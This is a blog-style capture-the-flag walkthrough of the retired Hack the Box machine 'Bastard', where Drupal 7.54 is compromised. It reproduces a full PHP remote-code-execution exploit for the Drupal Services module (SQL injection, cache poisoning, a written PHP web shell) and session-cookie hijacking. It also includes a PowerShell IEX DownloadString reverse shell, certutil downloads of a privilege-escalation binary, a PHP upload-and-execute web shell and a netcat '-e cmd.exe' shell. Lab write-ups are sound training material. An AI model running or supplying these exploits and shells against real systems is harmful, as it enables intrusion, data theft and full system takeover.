Today we are going to solve another CTF challenge “Bastard”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.Level: IntermediateTask: To find user.txt and root.txt fileNote: Since these labs are online available therefore they have a static IP. The IP of Bastard is’s start off with our basic nmap command to find out the open ports and services.

Web:- Drupal Service is runningDrupal

and by checking /CHANGELOG.txt which we found in the nmap scan of robots.txt, we can see the version installed of drupal is 7.54version
For which there is a public exploit available Drupal-Services-Module-rce

root@webmail:~/Downloads# cat puckie.php 
# Drupal Services Module Remote Code Execution Exploit
# cf
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache

# Initialization


define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = '';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'puckie.php',
'data' => '<?php echo(system($_GET"cmd"])); ?>'

$browser = new Browser($url . $endpoint_path);

# Stage 1: SQL Injection

class DatabaseCondition
protected $conditions = [
"#conjunction" => "AND"
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
$this->stringVersion = $stringVersion;

$this->changed = true;
$this->stringVersion = null;

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
$this->query = new DatabaseCondition($sql);

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
" AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, AS data FROM {users} ux " .
"WHERE ux.uid<>(0"

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
e("Failed to login with fake password");

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;

store('user', $user);

if($cache === false)
e("Unable to obtains endpoint's cache value");

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
'endpoint' => $settings
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));

# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
e("Failed to write file.");

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");

# HTTP Browser

class Browser
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
$this->url = $url;

function post($type, $data)
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);

e("cURL: $error");

return json_decode($output);

# Cache

function cache_poison($endpoint, $cache)
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);

function cache_reset($endpoint, $cache)
$tr = new ThemeRegistry($cache, $endpoint, null, null);

function cache_edit($tr)
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);

# Utils

function x($message)

function e($message)

function store($name, $data)
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");

Now before you run the exploit make sure the main drupal login page is open in your browser or it will show you the error Failed to login with fake password or if you still see this error even after opening the login page in browser then revert the machine and try again.

root@webmail:~/Downloads# php puck.php 
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written:
root@webmail:~/Downloads# cat session.json 
"session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
"session_id": "2g9Xa0yhMXY3-qmamOQKxlcxqeSNR0-qeGDhjEc2ZAs",
"token": "pHCtfwKWFyz16XllBp6cVN2O3BN5Wt7tmEuMWIt9iNU"
root@webmail:~/Downloads# cat user.json 
    "uid": "1",
    "name": "admin",
    "mail": "",
    "theme": "",
    "created": "1489920428",
    "access": "1550602246",
    "login": 1550602520,
    "status": "1",
    "timezone": "Europe\/Athens",
    "language": "",
    "picture": null,
    "init": "",
    "data": false,
    "roles": {
        "2": "authenticated user",
        "3": "administrator"
    "rdf_mapping": {
        "rdftype": [
        "name": {
            "predicates": [
        "homepage": {
            "predicates": [
            "type": "rel"
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"

If you get any error like PHP Fatal error: Uncaught Error: Call to undefine function curl_init() possibilities are you don’t have php-curl installed in your machine so to solve this you just need to download it and restart the apache server and then run the exploit again.

root@kali:~/Desktop# apt-get install php-curl
root@kali:~/Desktop# systemctl restart apache2

Now after the exploit completed sucessfully it will give use a link where the file has been written and created a new user in drupal and 2 new files (session.json) and (user.json) in your current directory and if you look inside the session.json file you will see (session_ID, name and token) and we will edit and use this to gain admin access on the web.
Now we need to edit this file session.json
The session file is in format:-
Now we need to edit this like this
It will look something like this

root@webmail:~/Downloads# cat session.json 
"session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
"session_id": "-Mq24JFeq9OhVd5iuIRXY2AHZdHlq0MNplg7uJ9eH48",
"token": "lIM6DzLqQtpKQCXGC8XuGDyo_erIA0NbV2DIdbcdYIM"

This is the cookie which we will use to get admin access, Now before we proceed make sure to open 3 links :

  • The main drupal login page :-
  • The admin pannel which will show 403 access denied for now :-
  • And the link which the php exploit gave us :-

Now capture the request of /admin page in burp and replace the cookie with our cookies.

We have to modify the cookie in this format.

And forward the request and we will get the admin accessAdmin
Another simple way is to use cookie manager and get admin access easily, But there is no fun without learning a new thing.
Now we have only access to this page, and if you open another page it will still show you 403 error because the cookie is set for this page only, and to set the cookie for all pages we need to set it manually.
Press F12, then click on console and define the cookie:-
document.cookie = “SESSd873f26fc………..6kti6qyA2xkjk110-wOFCKgvGPY”cookie-3
The cookie has been set, now we can move around to other pages.
First click on Modules in the main toolbar of the page adb find _PHP filter
 and check the box and save the configuration.php filter
Click on the Add content tab below the Dashboard on the upper left corner of the page and insided it click on > Basic Pagescontent


Now in there we can setup our netcat listener to catch a shell netcat session IEX (New-Object Net.WebClient).DownloadString('') | powershell -noprofile -
C:\Users\jacco>nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 49404: NO_DATA
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\drupal-7.54>whoami
nt authority\iusr
PS C:\inetpub\drupal-7.54>

I  came across this exploit on github

Now that we have a shell we can use the upload function of certutil to uploaded Chimichurri.exe to C:\inetpub\drupal-7.54\

c:\Python37>python -m http.server 80
Serving HTTP on port 80 ( ... - - [07/Mar/2019 18:10:53] "GET /puckieshell443.ps1 HTTP/1.1" 200 - - - [07/Mar/2019 18:17:54] "GET /Chimichurri.exe HTTP/1.1" 200 -
PS C:\inetpub\drupal-7.54> certutil -urlcache -split -f
**** Online ****
000000 ...
CertUtil: -URLCache command completed successfully.
PS C:\inetpub\drupal-7.54> dir chim*

Directory: C:\inetpub\drupal-7.54

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/3/2019 7:17 ?? 97280 Chimichurri.exe
PS C:\inetpub\drupal-7.54> ./Chimichurri.exe 5555

Next I Started a netcat listener on my host machine to catch root with Chimichurri.exe <my ip> 5555I got another shell but this time as root.

C:\Users\jacco>nc64.exe -lvp 5555
listening on [any] 5555 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 62008: NO_DATA
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

nt authority\system


Doing Bastard from HTB I had troubles getting reverse shell back from it, but in the end simple solution worked like a charm. This piece of PHP code (from ippSec video)

root@webmail:~/Downloads# cat phpupload.php
# php file uploader and executer
if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload'], file_get_contents("" . $_REQUEST['fupload']));

if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";

Serve up nc64.exe from your machine and download it
c:\Python37>python -m http.server 80
Serving HTTP on port 80 ( ... - - [19/Feb/2019 20:57:03] "GET /puckieshell443.ps1 HTTP/1.1" 200 - - - [19/Feb/2019 21:40:12] "GET /nc64.exe HTTP/1.0" 200 

Execute and catch shell 1234 -e cmd.exe
root@kali:~/htb/bastard/drupalgeddon2# python -h -c 'type c:\users\dimitris\desktop\user.txt'

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *